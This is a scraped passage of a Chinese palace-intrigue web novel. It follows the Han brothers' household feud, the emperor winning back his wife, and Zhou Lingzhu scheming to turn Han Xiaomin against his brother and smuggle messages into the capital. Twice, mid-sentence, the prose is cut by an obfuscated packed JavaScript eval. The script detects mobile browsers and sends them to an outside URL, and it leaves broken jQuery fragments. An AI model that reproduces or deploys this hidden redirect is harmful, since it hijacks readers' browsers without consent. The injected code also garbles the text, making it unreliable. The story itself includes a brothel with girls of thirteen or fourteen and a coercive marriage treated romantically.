总算等到出了宫门,甩开了冯氏,穆王妃笑了笑与她就此别过,上了自家王府的马车里,耳根子这才算清净下来。
连穆王妃身边的嬷嬷也背过人私下和她嘀咕几句:“颍川公主真是昏了头了,今日怎么把这蠢妇送进宫来膈应皇后娘娘。不知这等蠢人,在那公主府里还要生出多少事端,也亏得颍川公主能忍下来。”
穆王妃笑着摇了摇头:“所以说女子出嫁从夫,哪怕她是公主,嫁到韩家也得忍着这种妯娌,这也是没法子的事了。”
说起这一茬,她似是想起了什么,又与那嬷嬷说:“嬷嬷恐怕不知道这韩驸马家以前的事呢,你只瞧见如今颍川公主和这妯娌不大和睦,哪里知道,那一家子婆媳妯娌兄弟之间,都是有些龃龉的!”
原来韩驸马韩孝直和其兄弟韩孝民二人的母亲余氏如今尚且在世。
这位余氏老夫人,其实应该称一声大余氏,她下头还有个妹妹,即小余氏。
起先的时候,是小余氏先嫁给韩父,生长子韩孝直,没过多久病逝。
这时娘家的姐姐大余氏正好丧夫守寡,韩、余两家人索性一合计,就叫大余氏改嫁了这个妹夫,到韩家当了媳妇,也是为了给自己可怜早逝的妹妹养大唯一留下来的儿子。
没几年后,大余氏和韩父生下了次子韩孝民。
从前都只听说过妹妹嫁给姐夫当填房的,偏偏这家是姐姐嫁了妹夫做继室,也是实为少见。
更造孽的是,韩父没多久也死了,这韩家只剩下了媳妇大余氏和两个儿子。
大余氏可谓是用尽心血,在乱世中将两个儿子抚养成人,对自己妹妹留下的儿子韩孝直也是真正视同己出。
而大余氏抚养儿子们的心血也没有白费,十几年后,她养出的两个身强体壮的两个儿子都投身军旅,小儿子虽没什么功名建树,但是大儿子却步步高升,得到北地冀州侯周家的赏识重用。
甚至,他还因此娶到了先冀州侯周鼎的第四女,如今的颍川公主。
然而等到孤儿寡母娘三个苦尽甘来的时候,也就正好成了一家人矛盾爆发的时刻。
韩孝直素来知晓自己并非大余氏亲生,知道自己的真正生母是小余氏。
所以,在他取得功名利禄之后、开始替自己的母亲求封诰命时,竟然先是替那个生了他、但并未抚养过他的小余氏追封!
甚至在替自己的父亲修建祖祠家墓的时候,也都是以小余氏为尊,让小余氏和韩父合葬,压根没给养母大余氏留个什么位置。
大余氏早就因此十分不满,在大余氏看来,姐妹当中她是长姐,理应长姐为尊;论起生养之恩,她虽不是韩孝直亲生母亲,却胜过亲生母亲,含辛茹苦把他抚养成人,难道她的心血都喂了狗了吗!
然而韩孝直似乎则认为,论起嫡庶,他的生母小余氏才是他父亲原配嫡妻,本就理应以小余氏为尊。况且生母早逝,他已经无法报答生母,只能在这些名分诰命上尽量弥补生母。
至于养母大余氏,以后报答她的时间还长着呢,何必在一时的名分上过多计较?
见兄长伤了母亲的心,大余氏的亲生儿子韩孝民当然不肯乐意,私下对这个哥哥更是颇多怨言。只是奈何哥哥如今位高权重,一家人都要仰赖哥哥和嫂子带来的恩泽,所以他十回生气也要忍下八回,
等到新帝登基,封赏功臣之后,韩孝直韩孝民兄弟二人的矛盾愈发大了。
因韩孝直与颍川公主同居公主府,府中还有颍川公主生母李太妃,又来了一个婆婆大余氏,还有小叔子一家人,尤其妯娌冯氏更不是个省油的灯儿,整个公主府里吵吵闹闹,竟没有一日是安生过的!
颍川公主贵为公主之尊,自然不会把大余氏这个“假婆婆”放在眼里,更遑论给她请安问礼晨昏定省之类的事了;
大余氏一朝翻身,正想在公主儿媳头上摆摆做婆婆的谱儿,见摆不上去,气得整日捶胸顿足,早就传为大半个长安的笑话。
而母亲受气,亲儿子韩孝民当然又得找哥哥理论,叫哥哥去管教颍川公主,问问这颍川公主何为儿媳之道!
韩孝直捧着颍川公主这个活祖宗还来不及,又怎会真的去说教公主?
于是韩孝民见哥哥这个态度,心里火气就更大了。
听说还有一次,韩孝民还和哥哥韩孝直当街争吵道:“就因为我母亲只是养母、不是兄长的亲生母亲,所以兄长就纵容公主凌辱婆母!我想问问兄长,如今皇太后殿下也是陛下养母,难道陛下也会像兄长一般,唆使赵皇后藐视婆母皇太后么?”
这话不知怎么渐渐传到赵太后耳朵里了,戳得赵太后心窝子也十分不舒服,等到下一回颍川公主入宫请安,赵太后便板着脸敲打道:
“你婆母虽不是韩驸马的生母,但是她能将韩驸马养大了,这养恩就是大于生恩!养育之恩大过天!你与韩驸马夫妻情深,多少也要替韩驸马好好孝顺这个养母才是。咱们周家教养出来的女孩儿,可不是没规矩没良心的乡下野妇啊,四娘,你说是不是?”
颍川公主被太后这么一敲打,再气也是无可奈何,只好俯下身段、忍着恶心去伺候婆婆大余氏,而大余氏这头占了上风,果真更妖闹起来,简直是无法无天了。
而为了彻底解决这一大家子鸡飞狗跳的种种琐碎破事,韩孝直在迫不得已之下,只能开始想尽办法扶植自己的弟弟韩孝民,希望帮助他那一介白身的弟弟韩孝民建立功名,得到皇帝封赏的官位和宅子,继而让弟弟弟媳名正言顺地带着这个母亲大余氏搬出去住。
——毕竟,如果他只是单纯地再买一个宅子把母亲和弟弟一家挪出去住的话,恐怕落在赵太后的眼里,又是他们夫妻二人对自己的养母不敬不孝了。
“怪道这韩驸马此番去了交州,也要寻个由头把家里弟弟一道带去。自然是要借机给自己弟弟捞个白得的功名爵位在身了。”
那嬷嬷听完穆王妃的话,当即如此笑道。
穆王妃轻笑一声,没再说话。
归穆王府,穆王妃当然又去寻了丈夫穆王,将今日宫内种种见闻一一说给穆王听。
然,当穆王听到穆王妃推测皇帝与皇后间生了什么不快的嫌隙时,继而推断皇后可能因此失宠时,他倒是十分不屑地否定了:
“我那三姐姐周媜珠,当年怎么说也是殊色冠绝北地三十州的第一美人,周奉疆不把她玩腻了是舍不得废她的,哼。趁着现在年轻貌美的几年,她耍什么样的脾气,男人自然都愿意纵着。”
……不过,如果有一天周奉疆也腻了这女人呢?
他说的是如果。
如果周媜珠也有失宠的一天,也有被皇帝厌弃的一天……也许到时候,这女人才知道她应该向着谁,才知道她应该最向着她娘家的亲兄弟,才知道她早应该把周奉疆那背信弃义之人给……
穆王压下了心底的思量。
*
这日的汤药,还是被皇帝端来亲手喂媜珠喝下的。
媜珠伸手推拒了两下,见推不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640965|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动他,始终也没有开口说什么,便任由他这么喂。
一碗苦涩药汁进了肚,媜珠被苦得直皱眉,撇过头去捂着唇拼命压下口中的苦味,皇帝放下手中的玉碗和羹匙,递过来一枚用桂花蜜渍过的枣子,剔了枣核,将泛着一层油亮蜜光的枣肉递到了媜珠的唇边。
媜珠垂眸望着他修长的手指,不动声色地眨了眨眼,最终还是不理会,又挪动身子越发背了过去,更不想理他了。
这般僵持片刻,媜珠口中苦味仍是未消,皇帝见她始终不领情,也就收回了手。
不知为何,等皇帝也不迁就她了,收回了这点递过来的台阶之后,媜珠心下又觉得还是不好受,更觉委屈,连嘴里的药味也像是又苦了不少似的。
她眼眸转了转,在皇帝没有看见的角落,眸中又泛上了一层水雾。
然而,还不等媜珠眼里的这层水雾聚成泪滴,她整个人忽然又被皇帝抱了起来,皇帝一手扣着她的下巴,逼她抬头和他直视,下一瞬他的唇贴了上来,亲吻着她的唇边,撬开她骄矜的牙关,将一块蜜枣肉喂了过去,渡给她一片甜蜜的气息。
他搂着她的腰肢,将这一吻细细厮磨了许久后才意犹未尽地结束,媜珠在浑浑噩噩中吞下了那块枣肉,口中苦味早已消散地一干二净,原先有些虚白的唇上也泛着娇艳的朱红。
“媜媜,不生气了好不好?”
这一吻后,媜珠有些气息不稳地跌坐回美人榻上,皇帝俯身吻了吻她的发顶,似是无比虔诚与真心地在讨她的原谅,“这一次,皆是朕之错。是朕不该如此待你,媜媜,朕求你原谅可好?”
虽然已经过去了数日,可是一听他提起当日之事,媜珠还是下意识地浑身胆颤惊恐,像是受惊的幼鹿,瑟瑟地发着颤。
她咬着牙关不说话,皇帝越加放低了姿态和她道歉,他知道如何拿捏她的脾气,知道该怎样求她才能最容易让她心软。
也知道她终究没有那个底气和资本,永远和他犟着来。
这般又哄她哄了许久,媜珠也渐渐被他哄得有些动摇,总算嗫嚅着唇瓣和他说了自他们冷战以来的第一句话:
“陛下说过,妾是陛下之妻,是陛下心爱之人,妾不敢自居出身望族,可好歹也是体面人家教养出来的女子,陛下一时不快,为何就要如此侮辱妾?难道妾只是陛下掌心可有可无的一个玩物吗?”
周奉疆亲了亲她的额:“都是朕不好,是朕之过。朕以后再也不会如此对待媜媜了。媜珠乃朕掌上明珠,朕永远不敢视明珠为玩物,叫明珠蒙尘。”
他又哄她:“待明年洛阳宫城修葺完毕,朕带媜媜去东都洛阳巡游,带媜媜去洛阳散心,好不好?朕带媜媜去看洛阳的龙门窟、拜洛阳白马寺、游洛阳老君山,好不好?”
媜珠的眼睛亮了亮:“真的?”
洛阳城当年被那些悍匪一般的各路武将们劫掠过之后,已经是大片大片的断壁残垣了,如今新帝虽建都长安,但是仍然命人重新修葺洛阳宫城,并且曾经说过,待洛阳宫城修葺完后,他会亲临洛阳巡视。
周奉疆说:“那是自然。朕要带媜媜去白马寺和老君山,亲自去求各路神佛,不是以帝王之身去求他们庇佑我大魏江山千年万年,只以肉体凡胎之身去求他们,让他们保佑我的媜媜永世欢愉无忧。”
媜珠总是好哄的。
听得这话,她一下转了笑脸,扑进了男人的怀里,娇滴滴地唤了他一声夫君。
只是在她扑进皇帝怀里的时候,头颅抽痛间,仿佛格外清晰地闪过了另一个男人对她说过的话。
*
“媜媜,等咱们回了洛阳,我会带你去看龙门窟,带你逛白马寺、老君山。等咱们回了洛阳……”
可,为什么那个男人的话里说的是“回洛阳”,而不是“去洛阳”?
23. 第 23 章
皇帝陪媜珠说了一会儿话,见她有些倦怠,便将她抱到榻上哄她睡一会,自己又掀开珠帘往外头去,大约是还有没批阅完的政务文书。
媜珠也正是半睡半醒间,听到隐约两句人声,似乎是皇帝在外头和佩芝说话。
佩芝压低了声音,话里话外的意思都是在告那冯氏的黑状,说那妇人在皇后跟前很是失仪,言语举止皆十分粗鄙。
皇帝听罢便不耐烦道:“那以后就少叫这种人再到皇后跟前晃悠,惊扰了皇后好好养病的心情。”
佩芝应和着:“婢也是如此以为的!”
“……陛下!”
媜珠从榻上披衣而起,足上着轻便的尘香履,缓缓走到外间去唤了皇帝一声。
她对上皇帝的视线:“妾倒是觉得,今日来的那位冯夫人,和长安其他女眷们比起来很不一样。”
她语气微顿,“冯夫人何至于被称为粗鄙呢,她不过是心直口快了些,有什么便说什么罢了。妾听惯了长安城里的其他公主王妃、命妇女眷们在妾跟前小心翼翼的样子,她们对妾说一个字,要在自己心里盘算至少三回,来来往往,说的不过还是同一句恭维的套话,妾听也听腻了。冯夫人和她们都不一样,她对妾没有半分遮掩,快言快语,直肠直肚。有时候么……听听这样性子的人说话,也是有意思的。”
皇帝挑眉而笑:“这有什么大不了的,你若是喜欢她偶尔来跟你发发牢骚,那朕准她踏入椒房殿就是了。”
他并未将这样的小事放在心上。
佩芝在一旁悄悄抿了抿唇。
她虽瞧不上冯氏这样的人,但总不好违拗主子的意思,也不好多说什么了。
*
在北地长安被一片腊月的冬雪笼罩之时,岭南的交州仍旧飘不下一片雪花。
临近年关,军中士卒多有思乡念归之心,故而士气反而稍有些低迷松散。
交州司马韩孝直急于剿灭南楚张道恭残部,因此近来脾气越发急躁,眼见军中有些士气松垮,他格外不悦,对着手下士卒也更严苛了些。
和兄长韩孝直的苛刻相比,其弟韩孝民反而显得十分仁和宽厚,更好说话。
韩孝民见到年关下士卒思乡,频频向兄长进言,建议兄长应该在这时厚赏士卒酒食炙肉,让军中的将士们也能过个好年才是,这吃的好了,过完了好年,打仗才有精气神。
韩孝直勃然大怒,指着弟弟骂道:“我把你带出来是奔着建立功业的,你自己只知整日躲在营帐里饮酒作乐也就罢了,如今还敢唆使军中将士和你一般饮酒茹荤、花天酒地,我劝你趁早给我收了这心思!”
他将自己桌案上一份长安发来的皇帝口谕一把抓起来,扔到了韩孝民的脸上:“看看陛下是什么口谕,是叫咱们半年之内荡平张道恭余部、生擒张道恭到长安去的!若是半年之内抓不到张道恭,届时陛下以军法问罪,你我有几颗人头够砍的!”
韩孝民被他骂的也是一肚子窝火,但是又不敢明面上和他争执什么,只好垂头退出了韩孝直的军帐。
等到了外边,有几个平素跟在韩孝民身边伺候的军卒们团团围了上去,问起方才军帐里他们兄弟二人都说了些什么话。
韩孝民撇了撇嘴,吐一口唾沫在地上:“你们大司马能有什么好话跟我说!我是想着带你们好好喝酒吃肉过个好年的,奈何你们大司马畏惧陛下的军令完不成,陛下要砍他的脑袋呢!所以多一口酒肉的吃喝也没有给你们的!”
几个军卒当下赶忙恭维起韩孝民来:“到底是我们韩二爷心疼军中的兄弟们呢。韩二爷的心意,咱们兄弟都已经领了!二爷是个什么人,难道咱们还不知道?”
当下,几人又簇拥着韩孝民大摇大摆地离开了魏军军营驻扎之地,悄然拐入了附近的一个乡下偏僻小村里。
这村子里人口不少,村西头有个挂着红灯笼的小院儿,里头挨挨挤挤住着七八个女子,有十三四岁的,也有三十岁出头的,不论年龄大小,容色俱是可观。
自魏军长时间驻扎在这附近和南楚残部对峙之后,这村子里遂渐渐兴起了这种生意,多有人兜售酒水、吃食给这些出来打野食的军卒们的。
自然了,那些女人的身体也属于可以用银钱来消遣的范围之内。
如今这院子里的人,早就把这位魏军主将出手阔绰的弟弟韩孝民当做了头一等财神爷,日日都备足了好酒好肉,只等他过来消遣解闷。
这一日,见到韩孝民等人过来,小院儿里为首的那个嬷嬷赶紧一脸堆笑地迎了上去,按照从前惯例,打发三四个女人过来陪着,又叫剩下的几个女人去温酒热菜,端碗递筷。
韩孝民一行人腆着肚子往屋里坐下,几个女人争相凑到他跟前去,妩媚妖娆地说笑取乐起来。
韩孝民拨开几个女人,先扯着嗓子问了一句:“诶,今日怎么不见我那段老弟?我段家老弟怎么还没来?可是叫什么事儿给绊住了?”
片刻后,屋外传来那嬷嬷的笑声:“来了来了!段爷今儿也来了,我这就再端一副碗筷过来。”
屋里的几人静了一静,不几时,果真又见一个年轻挺拔的男人从外间推门进来。
那男人只穿了身灰扑扑的常服,袖口处也零碎打着一点补丁,看上去颇为寒酸,只是那精气神倒是半点不显落魄,仍旧是挺括自若的。
段充入内正欲寻个位置坐下,韩孝民推开自己身边的一个女人,把他身旁最亲近的位置让出来,拍了拍,招手就让段充来坐。
段充微微一笑,朝众人拱了拱手,依言过去在韩孝民身侧坐下。
“弟今日在山陵间捉了几只野鸡野兔,方才叫那鸨妈拿去炖了,过会儿叫她们端进来,请几位大哥赏脸尝尝这些野味。之前几回,都是几位大哥请的酒食,弟厚颜受之,心中何等愧疚。”
韩孝民和几个魏军军卒哈哈大笑,几人拍了拍段充的肩膀,都说这段老弟太过客气,不过几顿酒食钱,这有什么大不了的!
话虽如此,但是面对段充这样识趣的、进退有度的人,韩孝民等人还是十分赞赏的,因此也和他愈发合得来,常常聚在一处寻欢作乐,谈笑几番。
——前段时日,韩孝民就是在从军营里溜出来吃花酒的时候,于山陵小道间偶遇了外出打猎的段充。
两人眯着眼慢慢跟对方碰上,好半响才认出阔别多年的老友,当下就是极尽寒暄。
因为二人从前在冀州的时候关系就十分不错,而韩孝民当年也受过段充的人情,如今的段充对着韩孝民更是极为奉承,是以两人这番“他乡遇故知”,倒是一下子变得亲兄弟般热络起来。
之后两人均细细询问了彼此这么多年来的境遇。
段充说,他这些年一直跟着周二娘子,跟着这位张道恭的淑妃娘娘,没娶妻没生子没升官没发财,至今仍是孤家寡人一个,一辈子也只知道给周二娘子当个侍卫,守着她,护着她罢了。
韩孝民好一番叹息,说起自己的时候,提到他哥哥韩孝直娶了颍川公主,当上了驸马皇亲国戚,如今也位高权重,而他自己虽没什么功名官爵在身,但好歹也成了家、娶了妻,膝下也有两个儿子了。
段充自然很是恭喜。
韩孝民感慨万千:“当年周二娘子要嫁到洛阳去,说是要嫁给河间王做王妃,要在家里选几个侍卫护送她,本来选到的就是我,我不想去,就谎称有病推脱了,还是段老弟你主动去替了我……如今段老弟在外漂泊多年,也都是替我吃的这些苦。当年要不是段老弟替我做了这差事,只怕今时今日的我,还不知在哪里呢!”
段充不以为意:“韩二哥本就是有福之人,今时今日种种,都是韩二哥命中该有的造化。至于我么……”
至于他,能跟着周二娘子一辈子,就是他此生最大的造化了。
*
今日饮酒时,段充注意到韩孝民的脸色好像不大好看,很不痛快的样子。
他眸色沉了沉,状似无意地多问了两句。
这话顿时戳到了韩孝民的肠子里,也是借着一点酒意,韩孝民大着舌头就和段充等人痛骂起来,说他哥哥韩孝直如何如何苛刻小气,就连多赏士卒们一口酒肉吃都不肯等等。
又说,那长安的大魏皇帝命韩孝直在半年之内抓到张道恭,如今韩孝直满脑子都是想把这差事给了结了,哪里还管得旁人的死活。
这么一骂,加上边上的段充又若有若无地提起他们兄弟之前的一些龃龉,提起韩孝直对养母大余氏的“忘恩负义”,韩孝民真是气不打一处来,想到哪就是骂到哪。
骂韩孝直对大余氏这个母亲不敬,说大余氏就算是养条狗也知道只认一个主子,这韩孝直却连狗也不是。
又骂韩孝直娶的那个公主老婆,“算什么东西!狗娼妇生的!先冀州侯在世的时候最宠的就是她三姐姐,谁曾有眼看过她!如今她倒是当上公主了,也整日在我母亲面前摆公主架子,根本不拿我母亲当亲婆婆孝敬!”
还要骂一骂颍川公主的生母李太妃,“那老虔婆也素来不把我母亲放在眼里!还日日挑唆那颍川公主不许孝顺婆婆。只恨我没本事,否则早把这对娼妇母女打死解恨才是!”
连韩孝直和颍川公主所生的那个幼子也要被他骂上两句,“那小兔崽子眼看就是个活不长的病秧子,我这做叔父的竟然都管不得他!传出去,谁家有这样的道理?”
段充当即叹气,面上也是一副愤慨的神色:“韩二哥!二哥这些年也辛苦了,没少受这些人的闲气啊!”
他当然附和着韩孝民,一起翻旧账骂了骂韩孝直几句,无外乎也是说韩孝直此人素来没良心,不是能跟人同甘共苦的真兄弟。
说七八年前在冀州的时候,他们一起出去吃酒,韩孝直三番两次总是要偷溜着比别人多吃两口。
又说从前在冀州军营里,每每他们私下得了什么酒肉,总是拿出来兄弟们一起分了吃了,可是韩孝直却最喜欢背着兄弟们吃独食云云。
韩孝民被人这样附和着,自己也是越说越起劲,当下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640966|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狠狠一拍桌子:“段老弟,你也看得出来是吧?!我那大哥韩孝直,呸,什么狗屁人品,我压根都不想认他当我的兄弟!”
段充垂眸将杯中浊酒一饮而尽,眼底笑意浮现。
说完了过去这些陈芝麻烂谷子的事,提到眼下,段充又轻笑道:“韩大司马一心忙着交州的战事,兴许也不只是因为害怕半年之内捉不到张道恭而被长安皇帝责罚呢。”
众人因问:“那还能是为什么?”
段充放下手中酒杯:“凭君莫话封侯事,一将功成万骨枯……韩大司马虽然舍不得在年关下赏赐兄弟们酒肉吃,可是对他自己的国公之位,倒是无比上心啊。诸位兄弟只知道长安皇帝命韩大司马半年内荡平张道恭余部,但难道不知道这长安皇帝的下一句话说的是什么吗?”
“——三月之前,若是韩大司马能在三月之前肃清张道恭残部,生擒张道恭,则封他为国公。”
韩孝民和几个军卒顿时愣住了。
段充不紧不慢地又倒了一杯酒:“诸位兄弟以为大司马是怕完不成皇帝的军令而被惩治,实际上,人家怕的,只是怕捞不到那国公爵位而已。”
“兄弟们为了大司马的国公爵位累死累活、九死一生,大司马竟然连酒肉都不愿意多赏赐几分。怎么比我那头当了亡国之君的前楚皇帝张道恭还克扣小气,啧。”
*
深夜,饮酒毕,段充辞别韩孝民等人,回到龙编县内向淑妃周婈珠复命。
这晚上张道恭宿在周婈珠处,段充不能直接进去和周婈珠回话,只得站在外头又候了半夜。
至第二日,张道恭从淑妃处起身离开,又被那薛贵妃缠了过去,段充这才得空进去亲自和周婈珠说上两句话。
听得段充所报,婈珠十分满意。
她幽幽地在屋内踱步一番,转瞬却又说道:
“不够!不够!只是这点挑拨还不够!你要让韩孝民彻底在心里和韩孝直恩断义绝,要把他彻底拉到和你在一边才行!”
婈珠思忖片刻,吩咐段充说:“下次再见到韩孝民,你一定要狠狠地和他挑拨,你要告诉他,今时今日他哥哥韩孝直和那颍川公主能凌驾在他们头上,都是因为周奉疆!如果周奉疆死了,如果颍川公主再也不是什么公主,韩孝直也不过是个亡国之臣,他们哪里还有资格去欺负他和他母亲?”
段充应下。
婈珠又阴毒地笑了笑,“如今咱们的手想要自己伸进长安,是怎么也伸不进去的。长安距离咱们路途遥远,相隔数千里,如果真的需要咱们做什么,其实什么都来不及。不管是安插一个眼线,还是送进去一份书信,我们都做不到了……唯一能靠的,还是韩孝直、韩孝民兄弟二人。”
一封书信、一点机密,怎样送进长安城才能丝毫不被人察觉?
那当然只有走官道了。
现下在交州的战事,韩孝直每隔三天上报长安朝廷一次,每次都是八百里加急的速度传回长安的。
来往的数位信使在驿站之间交替奔波,一封来自交州的军报,最快只需七八日便可传回数千里之外的都城。
身为交州主将、皇亲国戚,唯有经韩孝直之手传回长安的文书信件,才能沿途畅通无阻,无需被人拦截查看。
但这里头其实还隐藏了一个很大的疏漏。
那就是,正是因为韩孝直驸马的身份,因为他的妻子颍川公主有孕在身,十分金贵,所以,每一次他往长安发一份军报回去,都会顺带着给自己的妻子颍川公主寄一份家信,信使们会顺路将这些一起带回长安。
到长安后,军报被直接送进宫里,由皇帝亲自查看,驸马的家信则直接送入颍川公主府。
这中间,不论是军报还是家信,都不会再被其他人拆开检查一遍。
这是一个无人检查和管控的死角。
而且,既然驸马家信都能跟着军报一起寄回长安了,那么驸马的亲弟弟韩孝民给母亲妻子写两封信,跟着一起送回长安,一块送进颍川公主府里,这过分么?
也不过分吧?
驸马和公主的家信没人检查其中内容,那么又有谁会多此一举检查驸马的弟弟寄回来的家信呢?
也没人检查,没人在意。
——这些,都是段充之前从韩孝民口中诈出来的。
从交州到长安,已经被他们撕开了一条可以渗透的口子;那么如果从长安城到长安帝宫之内,也能再撕开一道口子,这是不是就说明他们可以直接把手伸到大魏皇后的跟前了?
是不是就说明他们可以暗中使人向大魏皇后传递什么东西、什么信件了?
恰巧,韩孝民的妻子冯氏身为公主的妯娌,沾着半个皇亲国戚的身份,仍然能做到这一点。
*
段充由衷叹服:“还是娘娘心思缜密,计谋深远,臣唯有拜服。”
婈珠高傲地笑了笑:“昔年我是我父亲的长女,自然也是众姐妹中最聪敏出色的,只可惜没托生在正妻的腹中罢了。”
24. 第 24 章
周婈珠时常会回想起自己三四岁时候的事情。
那时候,她还是她父亲周鼎的唯一的女儿,也是他的长女。
周鼎的第一女是他一位没什么存在感的妾室所生,那个孩子也在出生不久后夭折。
直到半年多后,他的另一个妾室生下了他的第二女,彼时他膝下已有二三男嗣,婈珠这个女儿的到来,方是正好叫他儿女双全了起来。
——在赵夫人没有生下周鼎的第三女周媜珠之前,婈珠都是家中唯一的女孩儿,是得宠的女儿。
而那时婈珠的生母也还尚算有些得宠,所以连带着婈珠也过了短暂几年的众星捧月的日子。那是她生命中最难忘的一段岁月啊。
周鼎不溺爱那些儿子们,对他们往往是要求严苛,但是对婈珠却有几分宠爱,时常将年幼的她抱在膝上玩耍。
她对自己的幼年时代总有一个模糊的影子,有时午夜梦回,也会梦到昔年阖家家宴之时,那个三岁左右的自己坐在父亲的膝头,手里抓着一个父亲给她的玩具玩耍。
彼时家中其他人都战战兢兢地侍立在父亲跟前,那些兄长们更是大气不敢喘,可只有她是自在的,快活的,可以无忧无虑地在父亲怀里咯咯直笑。
父亲偶尔发怒问责兄长们的课业,兄长们两股颤颤快要吓得瘫软在地,而婈珠就能无视父亲的怒火,出声打断他的责骂,说自己想要吃桌上的一块糕点。
父亲就会顿时收敛了怒火,柔声哄她几句,取来一块甜糕塞进她的手里。
直到周媜珠的出生。
直到周媜珠从赵夫人的肚子里呱呱坠地开始,这一切就都变了。
起先听说嫡母赵氏生下一女时,婈珠的生母私下有些担心,又有些幸灾乐祸。
担心的是又一个女孩儿的出生,打破了婈珠“唯一女儿”的金贵身份,赵夫人的女儿可能会因此分走原本属于婈珠的一部分宠爱。
至于幸灾乐祸,那自然是暗中窃喜赵夫人生下的不是男胎。周鼎对她的肚子期待已久,她就只生了个没用的丫头片子出来,指不定不仅她要失宠,那个死丫头也不会得到冀州侯周鼎的多少疼爱。
听到生母和嬷嬷们躲在房中这样议论着,懵懵懂懂的婈珠好似真的安心了一些,她觉得哪怕有一个妹妹出生了,父亲也许也不会多么疼爱那嫡母所生的妹妹,父亲最疼爱的肯定还是她。
然而让婈珠永远也没有想到的是,妹妹的出生,不是“分走”了她的一部分宠爱,而是完全夺走了原先属于她的父爱。
不是分走,而是完全夺走。
即便周鼎对赵夫人没有生下嫡子而有所失望遗憾,但是面对他正妻所生的第一个孩子,他仍然十分疼爱,对这个女儿倾注了极大的爱意。
第三女刚一出生,他就在书房中苦思了整整一夜,为她珍而重之地取名“媜珠”,乃掌上明珠之意。
而在婈珠出生时,周鼎显然就从未这样用心过。
——她从前的名字,叫做“菱”,周菱。菱角的菱,卑贱之物罢了。
不过是因为得知她出生的消息时,周鼎的面前摆放了一盘新鲜的菱角,所以他便随口给她取了个“菱”的名字。
她是不值钱的菱角,而周媜珠是千金万金般贵重的“珍珠”。
同样是他的亲生女儿,在周鼎眼里,她们姐妹之间的差别,大概也就是如此了。
生母教她去和她父亲闹,问她父亲为什么给妹妹取名字这么用心,为什么妹妹是珍珠,而她就只是个菱角儿,父亲被她这么一闹,皱眉想了想,就又取了个“婈”字,给她改名“婈珠”。
婈珠,媜珠,这样听上去倒似乎是一对没什么差别的姐妹了。
不过,很快婈珠就知道了,哪怕她的生母再有心机,再会算计,有些东西,也不是她和周鼎哭哭闹闹几句就能算计来的。
比如说,因媜珠乃俪阳公主嫡孙女,为了彰显自己嫡女的尊贵地位,周鼎还借机向当时大楚的代宗皇帝替媜珠索要县主封号,代宗皇帝看在周鼎难得一次向朝廷进献了北地赋税的份上,便册封此女为馆陶县主。
馆陶县主。
——这个,是周婈珠能靠着哭哭啼啼闹几句就给自己也争一个县主的名号的么?
呵。
不仅仅是这个县主的名号,自周媜珠出生后,婈珠就再也没有爬上过她父亲的膝头了。
从此之后,周鼎的怀里、膝上,抱着的只有周媜珠一个人。
哪怕后来他的第四女、第五女、第六女也接连出生,他都没有再这样宠爱过一个女儿,他最宠爱的仍然是周媜珠。
可是周媜珠到底又比她强在哪里了呢?
除了出身,除了她们两人生母的地位差别之外,她到底有哪点不如周媜珠?为何命运要如此戏弄于她?
甚至,除去父亲周鼎这样偏心之外,就连当时的河间王张道恭也这样偏爱于周媜珠。
她至今记得张道恭年少时初来北地冀州就藩的样子,洛阳王孙,白衣公子,温润如玉,身上带着一股北地男子鲜少有过的文雅温和。
家中小娘子们都从未见过这般的人物,虽然还是懵懵懂懂的小女孩年纪,可仍旧很容易就在张道恭面前低头红了脸。
大家都想朝他跟前凑,可他在周家的几个姐妹里一眼就看中了周媜珠,之后也都只和周媜珠亲近。
对于旁人,哪怕她们也想尽办法朝他身上靠了,但他的态度却总是疏离而客气。
他也是那样宠爱媜珠,他会亲自教她习字作画,带她翻阅古籍典章,和她赏花游湖,给她讲长安洛阳那边的新鲜故事,逗得媜珠总是含羞带笑。
而她呢,她就是张道恭眼里一颗默默无闻的灰尘星子,什么也不是。
之前父亲为媜珠讨要县主封号,后来张道恭也要求娶她做河间王正妃,现在就连那乱臣贼子周奉疆,也要把皇后宝座捧到她面前来。
她是父亲周鼎的馆陶县主,是张道恭心中唯一的河间王妃,是周奉疆的赵皇后。
那她呢?
那她周婈珠呢?
她又算什么?算什么?为什么这些人都只爱周媜珠,为什么不管什么时候,周媜珠都总是过得比她更好?
*
到底顾忌着是在段充面前,周婈珠一忍再忍,终于忍下了那些会让她失态的神色。
她故作云淡风轻地敛了苦涩的笑意,回过头去瞥了段充两眼:
“这几年里,总跟在我跟前伺候,你也吃了不少的苦头,如今正好借着这个时机,你和那韩孝民凑在一块,也好在那私娼窠里松快松快。在外头走动,男人们聚在一起没有不要花钱的地方,这些钱你先拿着,跟他们一起吃喝了也好、|嫖|赌了也罢,花完了再跟我要罢。”
说罢她便从袖中取出一个有些褪色了的半旧荷包,里面零零碎碎还装着一些银子,扔在了段充的跟前。
段充诚惶诚恐地拾起那枚荷包,小心翼翼地放回一旁的茶几上:
